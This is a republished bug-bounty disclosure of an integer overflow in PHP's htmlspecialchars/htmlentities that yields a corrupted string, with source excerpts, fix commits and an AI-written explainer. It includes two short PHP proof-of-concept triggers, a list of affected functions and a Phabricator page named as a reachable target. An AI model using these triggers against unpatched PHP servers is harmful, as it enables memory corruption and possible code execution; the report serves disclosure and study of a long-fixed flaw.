Skip to content
Memory corruption Disclosed report Advanced

Integer Overflow in php_html_entities()

An integer overflow in PHP's htmlspecialchars/htmlentities functions can produce a corrupted string ZVAL, leading to memory corruption and potentially remote code execution. The report demonstrates that passing a very large string of ampersands causes the length to wrap to a negative value, and subsequent string operations can trigger further overflows.

ryat Follow

Originally disclosed on HackerOne

  • Fixed in 6 days
  • Paid in 6 days
  • Disclosed after 3.4 years

This bug report at https://bugs.php.net/bug.php?id=72135, and fixed in: https://github.com/php/php-src/commit/41fc3c76e97a36ff3b505da7d704ca17bb171fdf https://github.com/php/php-src/commit/0da8b8b801f9276359262f1ef8274c7812d3dfda https://github.com/php/php-src/commit/e9559131152ab0fa89737db11ebe8f43e1435b96

static void php_html_entities(INTERNAL_FUNCTION_PARAMETERS, int all)
{
	...
	size_t new_len;
	...
	RETVAL_STRINGL(replaced, (int)new_len, 0);
}

The new_len is defined as size_t, then to be a signed int in RETVAL_STRINGL(), that results in new_len into a negative value and get a corrupted string-typed ZVAL.

ZEND_API int add_string_to_string(zval *result, const zval *op1, const zval *op2) /* {{{ */
{
	int length = Z_STRLEN_P(op1) + Z_STRLEN_P(op2);
	char *buf;

	if (IS_INTERNED(Z_STRVAL_P(op1))) {
		buf = (char *) emalloc(length+1);
		memcpy(buf, Z_STRVAL_P(op1), Z_STRLEN_P(op1));
	} else {
		buf = (char *) erealloc(Z_STRVAL_P(op1), length+1);
	}
	memcpy(buf + Z_STRLEN_P(op1), Z_STRVAL_P(op2), Z_STRLEN_P(op2));

The string add operations with a corrupted string-type ZVAL will able to lead to integer overflow and remote code execution.

PoC:

<?php

ini_set('memory_limit', -1);
$str = htmlspecialchars(str_repeat('&', 0xffffffff/5));
echo "$str";

?>

A lot of functions with a corrupted string-typed ZVAL will able to lead to memory corruption, ex:

md5
...
defined
class_exists
function_exists
...
trigger_error
date_default_timezone_set
hash_init
...
date
gmdate
...
collator_create
normalizer_normalize
grapheme_strlen
...

PoC:

<?php

	ini_set('memory_limit', -1);
	$str = htmlspecialchars(str_repeat('&', 0xffffffff/5));
	md5($str);
	
?>

Exploitation of this bug in real world/apps:

A lot of PHP apps use htmlspecialchars/htmlentities handles user input data, and successful exploitation of this bug is possible, ex Phabricator:

https://github.com/phacility/phabricator/blob/121e68e3adae4cd21731b79c07ca89676def7e19/externals/wepay/demoapp/openaccount.php

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
	if (isset($_POST['account_name']) && isset($_POST['account_description'])) {
		// WePay sanitizes its own data, but displaying raw POST data on your own site is a XSS security hole.
		$name = htmlentities($_POST['account_name']);
		$desc = htmlentities($_POST['account_description']);
		try {
			$wepay = new WePay($_SESSION['wepay_access_token']);
			$account = $wepay->request('account/create', array(
				'name' => $name,
				'description' => $desc,
			));
			echo "Created account $name for '$desc'! View on WePay at <a href=\"$account->account_uri\">$account->account_uri</a>. See all of your accounts <a href=\"accountlist.php\">here</a>.";
		}

The original report as published on HackerOne, by ryat. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

The corrupted string can lead to integer overflow and remote code execution, and many PHP applications that use htmlspecialchars on user input may be vulnerable.

What the attacker needed

Ability to pass a very large string to htmlspecialchars; memory limit set to unlimited or very high

How it was found

  1. Set the memory limit to unlimited.
  2. Create a string consisting of a very large number of ampersand characters.
  3. Pass the string to htmlspecialchars, which returns a corrupted string.
  4. Use the corrupted string in another function such as md5 to trigger memory corruption.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

PHP's htmlspecialchars function converts special characters like '&' into safe HTML entities. If you give it an extremely large input, the internal length counter can overflow and become negative, creating a broken string. Using that broken string in other functions can then cause memory corruption, which an attacker might exploit to run their own code.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by ryat

View all

43 more disclosed reports, best first.

More from Internet Bug Bounty

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.